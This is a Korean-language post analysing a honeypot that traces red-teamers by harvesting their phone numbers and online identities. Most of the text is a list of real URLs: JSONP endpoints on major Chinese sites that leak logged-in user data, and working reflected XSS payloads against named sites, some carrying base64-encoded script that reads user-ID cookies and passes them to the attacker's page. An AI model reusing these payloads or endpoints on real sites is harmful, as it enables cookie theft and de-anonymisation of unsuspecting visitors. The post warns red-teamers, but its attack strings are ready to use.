이 허니팟의 역추적 방식은 모바일 핫스팟을 사용하는 레드팀을 대상으로 합니다. 허니팟이 공격자의 휴대폰 번호를 직접 획득하여 역추적합니다. 잡을 때마다 정확히 잡아냅니다. 레드팀 여러분, 조심하시기 바랍니다.

먼저 웹사이트를 열면 F12 콘솔이 열려 있는지 모니터링합니다. 디버그 모드가 켜져 있으면 역추적 코드가 로딩을 중지합니다.

또한, burp를 사용하는 사용자는 자신의 burp 버전에 chrome 취약점이 존재하는지 주의하세요.

샌드박스의 특징은 다음과 같으며, js를 직접 로드합니다.

fofa에서 바로 142개 이상 검색할 수 있는데, 허니팟이 꽤 많네요.

핵심적으로 휴대폰 번호를 획득하는 js 코드를 보면, 3대 통신사의 휴대폰 정보를 획득하는 것을 확인할 수 있습니다.

복호화는 다음과 같습니다.

차이나유니콤 인터페이스 획득

휴대폰 번호를 획득하면 암호화된 휴대폰 번호를 업로드합니다.

또한 다른 역추적 인터페이스는 다음과 같습니다.

https://access.video.qq.com/trans/pay.video.qq.com/fcgi-bin/payvip?vappid=68106135&vsecret=e667570eb833960cc41051d498df1c233308eb195dba2cc3&getannual=1&geticon=1&getsvip=1&otype=json&callback=jQuery19104991404611435173_1562551736901&uin=a&t=1&getadpass=0&g_tk=a&g_vstk=a&g_actk=&_=15625517369020.4515320024420155

https://bbs.zhibo8.cc/user/userinfo?device=pc&_=1584613345023&callback=jcbDNoDtQbW&callback=callback_165893378313192912

https://myjr.suning.com/sfp/mutualTrust/getLoginInfo.htm?callback=getphone

https://myjr.suning.com/sfp/headPic/getEgoMemberHeadPicUrl.htm

https://ajax.58pic.com/58pic/index.php?m=adManageSystem&a=showAdDeliveryForPosition&callback=%3Cscript%3Eeval(atob(%27ZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIAp7IAogICAgdmFyIGFycixyZWc9bmV3IFJlZ0V4cCgiKF58ICkiK25hbWUrIj0oW147XSopKDt8JCkiKTsKIAogICAgaWYoYXJyPWRvY3VtZW50LmNvb2tpZS5tYXRjaChyZWcpKQogCiAgICAgICAgcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChhcnJbMl0pOyAKICAgIGVsc2UgCiAgICAgICAgcmV0dXJuIG51bGw7IAp9CndpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoeyJuYW1lIjoicWlhbnR1IiwiZGF0YSI6eyJ1aWQiOmdldENvb2tpZSgicXRfdWlkIil9fSwnKicpOw==%27))%3C/script%3E&position=31&keyword=XXX&_=1590829943379

https://my.zol.com.cn/public_new.php

https://access.video.qq.com/trans/pay.video.qq.com/fcgi-bin/payvip?vappid=68106135&vsecret=e667570eb833960cc41051d498df1c233308eb195dba2cc3&getannual=1&geticon=1&getsvip=1&otype=json&callback=jQuery19104991404611435173_1562551736901&uin=a&t=1&getadpass=0&g_tk=a&g_vstk=a&g_actk=&_=15625517369020.04630644674906281

https://access.video.qq.com/trans/pay.video.qq.com/fcgi-bin/payvip?vappid=68106135&vsecret=e667570eb833960cc41051d498df1c233308eb195dba2cc3&getannual=1&geticon=1&getsvip=1&otype=json&callback=jQuery19104991404611435173_1562551736901&uin=a&t=1&getadpass=0&g_tk=a&g_vstk=a&g_actk=&_=15625517369020.38244545320223655

http://my.zol.com.cn/public_new.php

https://loginst.suning.com/authStatus?callback=getuid

https://www.fhyx.com/account/login.html?redirecturl=%22%3E%3CSCrIpT%3Eeval(atob(unescape(location.hash.slice(1))))%3C/SCrIpT%3E

https://so.u17.com/all/%22%3C/span%3E%250a%3Cimg%2520src=1%20onerror=%22document.body.innerHTML=location.search;document.body.innerHTML=document.body.innerText;%22%3E%250a%22/m0_p1.html?&lt;img/src=&quot;x&quot;/onerror=a=eval;a(atob(unescape(location.hash.slice(1))))&gt;

https://i.vip.iqiyi.com/client/store/pc/checkout.action?platform=b6c13e26323c537d&fs=&fsSign=&fc=&fv=&qc005=&P00001=&pid=adb3376b039b970b&vipType=2&aid=&device_id=&callback=callback_165893378307001282

https://login.sina.com.cn/sso/login.php?client=&service=&client=&encoding=&gateway=1&returntype=TEXT&useticket=0&callback=sina2&_=1577938268947&callback=callback_165893378307919803

https://v-api-plus.huya.com/jsapi/getUserInfo?callback=jQuery1111007865243652615272_1628490347897&_=1628490347898&callback=callback_165893378306693233

http://mapp.jrj.com.cn/pc/content/getMqNews?vname=%3Csvg%20onload=eval(atob(%27ZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIAp7IAogICAgdmFyIGFycixyZWc9bmV3IFJlZ0V4cCgiKF58ICkiK25hbWUrIj0oW147XSopKDt8JCkiKTsKIAogICAgaWYoYXJyPWRvY3VtZW50LmNvb2tpZS5tYXRjaChyZWcpKQogCiAgICAgICAgcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChhcnJbMl0pOyAKICAgIGVsc2UgCiAgICAgICAgcmV0dXJuIG51bGw7IAp9CndpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoeyJuYW1lIjoianJqIiwiZGF0YSI6eyJ1aWQiOmdldENvb2tpZSgibXlqcmpfdXNlcmlkIil9fSwnKicpOw==%27))%3E

https://www.ixueshu.com/index.html?v=1608893853571&template=sys_login_ajax.html&_url=123123123%22%22%3E%3CsCrIpT%3Eeval(atob(unescape(location.hash.slice(1))))%3C/sCrIpT%3E

https://hackit.me/v.qq.com/

https://api.csdn.net/oauth/authorize?client_id=1000001&redirect_uri=http://www.iteye.com/auth/csdn/callback&response_type=%22https%3A%2F%2Fapi.csdn.net%2Foauth%2Fauthorize%3Fclient_id%3D1000001%26redirect_uri%3Dhttp%3A%2F%2Fwww.iteye.com%2Fauth%2Fcsdn%2Fcallback%26response_type%3D%22%3E%3Cimg%20src%3Dx%20onerror%3Deval(window.name)%3E

FuckJsonp-RCE-CVE-2022-26809-SQL-XSS-FuckJsonp

인기